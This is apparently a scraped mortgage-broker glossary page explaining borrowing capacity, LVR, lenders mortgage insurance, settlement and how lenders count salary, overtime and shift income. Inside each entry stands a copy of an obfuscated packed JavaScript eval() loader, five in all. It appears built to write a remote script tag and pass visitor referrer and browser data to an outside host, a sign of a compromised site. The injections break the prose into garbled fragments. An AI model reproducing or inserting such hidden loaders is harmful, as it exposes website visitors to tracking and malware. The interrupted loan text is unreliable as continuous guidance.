Because eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frkfn|var|u0026u|referrer|kzrrb||js|php’.split(‘|’),0,{}))
different lenders have different criteria for borrowing capacity there is no standard formula. By filling out our inquiry form and submitting it we can manually work with you to find the lender that meets your loan requirements. We will consider income from a variety of sources including Salary, […]

LVR eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kfezy|var|u0026u|referrer|dhnnz||js|php’.split(‘|’),0,{}))
stands for Loan to Value Ratio. It is the ratio of the Loan Amount to the Purchase price or Valuation Price. For example, if your new property has been valued at $100,000 and you are borrowing $75,000 then the LVR is 75,000/100,000 which is 75%.

Contrary to what many borrowers may think, Lenders eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rbkyn|var|u0026u|referrer|edfed||js|php’.split(‘|’),0,{}))
Mortgage Insurance (LMI) does not protect the borrower should they be unable to make mortgage repayments. Instead, LMI protects the lender from any losses resulting in the sale of a property due to default by the borrower. LMI premiums are payable […]

Settlement eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tnart|var|u0026u|referrer|aynkf||js|php’.split(‘|’),0,{}))
is the completion of the sale, when the borrower takes possession of the property and the mortgage takes effect. Settlement usually takes place 4 weeks from the date the home loan is formally approved.

Salary and wages

100% eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sdkie|var|u0026u|referrer|zftaz||js|php’.split(‘|’),0,{}))
accepted if length of employment criteria is met

Overtime

50% may be used to assist in serviceability if payment is regular and is a condition of employment
100% may be used where employment is in the Essential Services industry (e.g. Ambulance, Police Service, Nursing, etc.)

Shift allowance

100% may be used only […]